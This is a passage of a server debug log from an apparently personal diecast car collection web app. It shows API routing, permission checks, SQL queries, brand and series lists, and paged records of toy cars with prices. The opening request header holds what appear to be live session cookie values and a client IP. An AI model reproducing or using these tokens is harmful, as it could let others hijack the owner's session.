    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast-worksheet',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AJhjHwWrmXNXXVxcuGPi%2B0g%3D%3D.9ETzlI4WGpv6%2FWRw5oaj7jVlhNoM8%2BRmEyHUnSwFQr7uaYLAd%2F2gEWlZ2KZ7I%2BvkEcfpPjifPhHsL8yzWpTvm3u8LlQLMHcINHdENk842zRIWRutKzXc9RzvMTDY2nLwxYKtH5MTKwrL7X0Y7TZ5xCiQmxH7PLE1r7VrNCpdkng%3D.aRjTpztkzhxjNgZSx7vHR%2BGxyecSm%2FwZI5b0%2FIgHdMA; your_r_git.sid=s%3AkeIcRQoCTG5q5mgddYpzVhJ1UZ3tjxVJ.WWrucxsutPMuYZ1Ha7A7zP1SIh6RLoCoVlPByauYUe0',
    'HTTP_X_FORWARDED-FOR': '49.43.182.136',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-05-18T06:00:40.391Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-05-18T06:00:40.393Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-05-18T06:00:40.395Z server-connect:router Serving serverConnect /api/diecast/list
2026-05-18T06:00:40.396Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-05-18T06:00:40.396Z server-connect:app Executing action step identify
2026-05-18T06:00:40.396Z server-connect:app options: { provider: 'security' }
2026-05-18T06:00:40.397Z server-connect:output identity: 1
2026-05-18T06:00:40.397Z server-connect:app Executing action step restrict
2026-05-18T06:00:40.397Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-18T06:00:40.397Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-05-18T06:00:40.398Z server-connect:output restrict: undefined
2026-05-18T06:00:40.399Z server-connect:app Executing action step select
2026-05-18T06:00:40.399Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-05-18T06:00:40.400Z server-connect:app Executing action step identify
2026-05-18T06:00:40.400Z server-connect:app options: { provider: 'security' }
2026-05-18T06:00:40.400Z server-connect:output identity: 1
2026-05-18T06:00:40.400Z server-connect:app Executing action step restrict
2026-05-18T06:00:40.400Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-18T06:00:40.401Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-05-18T06:00:40.402Z server-connect:app Executing action step identify
2026-05-18T06:00:40.402Z server-connect:app options: { provider: 'security' }
2026-05-18T06:00:40.402Z server-connect:output identity: 1
2026-05-18T06:00:40.402Z server-connect:app Executing action step restrict
2026-05-18T06:00:40.403Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-18T06:00:40.403Z server-connect:app Executing action step identify
2026-05-18T06:00:40.403Z server-connect:app options: { provider: 'security' }
2026-05-18T06:00:40.404Z server-connect:output identity: 1
2026-05-18T06:00:40.404Z server-connect:app Executing action step restrict
2026-05-18T06:00:40.404Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-18T06:00:40.404Z server-connect:output restrict: undefined
2026-05-18T06:00:40.404Z server-connect:app Executing action step select
2026-05-18T06:00:40.404Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-05-18T06:00:40.405Z server-connect:output restrict: undefined
2026-05-18T06:00:40.405Z server-connect:app Executing action step paged
2026-05-18T06:00:40.406Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-05-18T06:00:40.407Z server-connect:app Executing action step identify
2026-05-18T06:00:40.407Z server-connect:app options: { provider: 'security' }
2026-05-18T06:00:40.407Z server-connect:output identity: 1
2026-05-18T06:00:40.407Z server-connect:app Executing action step restrict
2026-05-18T06:00:40.408Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-18T06:00:40.408Z server-connect:output restrict: undefined
2026-05-18T06:00:40.408Z server-connect:app Executing action step select
2026-05-18T06:00:40.408Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-05-18T06:00:40.410Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-05-18T06:00:40.412Z server-connect:output restrict: undefined
2026-05-18T06:00:40.412Z server-connect:app Executing action step select
2026-05-18T06:00:40.412Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-05-18T06:00:40.414Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 },
  { name: 'Alpine', id: 196 },
  { name: 'Lexus', id: 197 }
]
2026-05-18T06:00:40.416Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 196, name: 'Alpine' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 197, name: 'Lexus' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-05-18T06:00:40.416Z server-connect:app Executing action step select
2026-05-18T06:00:40.416Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-05-18T06:00:40.419Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-05-18T06:00:40.419Z server-connect:app Executing action step select
2026-05-18T06:00:40.420Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-05-18T06:00:40.421Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-05-18T06:00:40.423Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 167,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 190,
      model_name: '2021 Lexus LC 500',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Lexus',
      vehicle_brand_id: 197,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 189,
      model_name: 'Porsche 911 Targa',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: '',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 188,
      model_name: 'Ford Bronco',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 187,
      model_name: 'Ford F-150 Raptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 186,
      model_name: 'Alfa Romeo Tonale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 185,
      model_name: 'Volkswagen ID Buzz Cargo',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 184,
      model_name: 'Datsun 240Z',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 183,
      model_name: 'Alpine A110 R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alpine',
      vehicle_brand_id: 196,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
